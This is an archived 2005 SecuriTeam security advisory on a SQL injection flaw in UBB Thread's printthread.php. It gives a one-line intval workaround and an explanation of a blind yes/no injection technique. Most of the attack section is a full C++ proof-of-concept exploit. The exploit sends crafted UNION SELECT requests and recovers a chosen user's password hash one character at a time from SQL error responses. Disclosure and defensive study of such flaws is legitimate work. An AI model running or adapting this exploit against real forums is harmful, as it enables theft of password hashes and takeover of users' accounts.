[UNIX] UBB Thread SQL Injection Vulnerability (main)

From: SecuriTeam (support_at_securiteam.com)
Date: 04/21/05

  • Next message: SecuriTeam: "[NEWS] Oracle interMedia DoS"
    To: list@securiteam.com
    Date: 21 Apr 2005 15:51:38 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      UBB Thread SQL Injection Vulnerability (main)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.ubbcentral.com/> UBB Thread is "robust and flexible PHP
    message board, with a MySQL database for power and scalability".

    Due to insufficient checking of user provided input UBB Thread allows a
    malicious user to insert arbitrary SQL statements into existing ones.

    DETAILS

    Workaround:
    Add in the beginning of the PHP file(printthread.php) after the PHP-Code
    tag (<?):

    if(array_key_exists('main', $_GET)) $_GET['main']=intval($_GET['main']);

    Exploit:
    The 'main' parameter is used twice, in two different queries and in two
    different number of columns. The popular 'UNION SELECT' method will is not
    applicable, because a correct response of the first query, makes the
    second query invalid, and vice versa.

    The catch is, that the second query execution is conditional to the
    results of the first one. If no results are returned from the first query
    the second query is not processed, thus, no SQL error will output

    Therefore, as you see in the POC exploit below this vulnerability can
    still be used to output from the first query not as a text/numbers but as
    a "Are there any results" way. If the first query has 0 rows returned,
    there will be no SQL error. If there is at least 1 row, then an SQL error
    will be shown.

    //HLLUBBThreadsExploit.cpp
    /*
      4. Exploitation

    UBB Thread /ubbthreads/printthread.php SQL Injection Yes\No vulnerability

    Usage: HLLUBBThreadsExploit.exe <hostname> <path to printthread.php> <Any
    vaild forum name> <user id>
    Example: HLLUBBThreadsExploit.exe www.host.com /ubbthreads/printthread.php
    UBB3 2
    Vulnerability discovered by: Axl
    Exploit Coded by HLL: hllhll <at> gmail.com

    */
    #include <winsock2.h>
    #include <stdio.h>
    #include <conio.h>
    #include <iostream.h>
    #pragma comment (lib,"ws2_32")

    void usage(char *argv[])
    {
            cout << "[+] UBB Threads Proof-Of-Concept Exploit, Written by:
    HLL" << endl;
            cout << "[+] Usage:" << endl;
            cout << "[+] " << argv[0] << " <hostname> <path to
    printthread.php> <Any vaild forum name> <user name> " << endl;
            cout << "[+] " << argv[0] << " www.host.com
    /ubbthreads/printthread.php UBB3 HLL" << endl;
    }

    int main(int argc, char *argv[]){
            WSADATA wsaData;
            struct sockaddr_in saddr;
            WSAStartup(MAKEWORD(1, 1), &wsaData);
            struct hostent *h;
            char hash[34]={0};
            int rcvlen;
            char ch;
            int flag, pos;
            int countwait;
            SOCKET sock;
            char req[400];
            char buf[600];
            char rcvbuf[10000];
            char rcvtmpbuf[1024];

            char *host=argv[1]; //Server
            char *path=argv[2]; // Path to /ubbthreads/printthread.php
            char *fname=argv[3]; //Forum name
            int uid=atoi(argv[4]); //User id

            if (argv!=5){
                    usage(argv);
                    return(0);
            }
            //Resolve address (will work also if this is an IP)
            cout << "[+] Resolving host... ";
            if (!(h=gethostbyname(host)))
            {
                    cout << "FAILD!" << endl;
                    return(1);
            }
            cout << "Done." << endl;

            saddr.sin_addr=*(struct in_addr *)h->h_addr_list[0];
            memset(saddr.sin_zero, 0, 8);
            saddr.sin_port=htons(80);
            saddr.sin_family=AF_INET;

            
            cout << "[+] Exploiting target... " << endl;
            for (pos=1; pos<=32; pos++)
            {
                    for (ch='0'; ch<='F'; ch++)
                    {
                            if ( (sock=socket(AF_INET, SOCK_STREAM, 0)) == -1
    )
                            {
                                    cout << "FAILD CREATING SOCKET!" << endl;
                                    return(1);
                            }

                            if (ch==':') ch='A'; //If finished all digits,
    jump to hex digits
                            
                            //Prepare reqest
                            sprintf(req, "%s?Board=%s&type=post&main=-99'
    UNION SELECT B_Number,B_Posted FROM w3t_Posts,w3t_Users WHERE
    ((MID(U_Password,%d,1)='%c')", path, fname, pos, ch, pos, ch+32);
                            if (ch>='A' && ch<='Z')
                                    sprintf(req, "%sOR
    (MID(U_Password,%d,1)='%c')", req, pos, ch+32);
                            sprintf(req, "%s)AND(u_number=%d)/*", req, uid);
                            sprintf(buf, "GET %s HTTP/1.0\r\nAccept: *
    /*\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98;
    DigExt)\r\nHost: %s \r\n\r\n", req, host);
                            
                            connect(sock, (struct sockaddr *)&saddr,
    sizeof(struct sockaddr) );
                            send(sock, buf, strlen(buf), 0);
                            cout << "[+] Char: " << ch << endl;

                            //Loop untill disconnection or recognized string
                            flag=0;
                            countwait=0;
                            *rcvbuf=NULL;
                            while(!flag){
                                    Sleep(30);

                                    if ((rcvlen = recv(sock, rcvtmpbuf, 1023,
    0))>0){
                                            rcvtmpbuf[rcvlen]=NULL;
                                            strcat(rcvbuf, rcvtmpbuf);

                                    }

                                    if ( (++countwait) == 30)
                                            flag=2;
                                    if ( strstr(rcvbuf, "SQL Error"))
                                            flag=1;
                            }
                            if (flag==1){ //Char found
                                    cout << "[+] Char " << ch << " In pos " <<
    pos << endl;
                                    hash[pos-1]=ch;
                                    ch='G';
                            }
                            closesocket(sock);
                    }

            }

            hash[32]=NULL;
            cout << endl << "The hash for user id" << uid << "is: " << hash <<
    endl;
            WSACleanup();
            return (0);
    }

    /* EOF */

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:hllhll@gmail.com> Hillel
    Himovich .

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NEWS] Oracle interMedia DoS"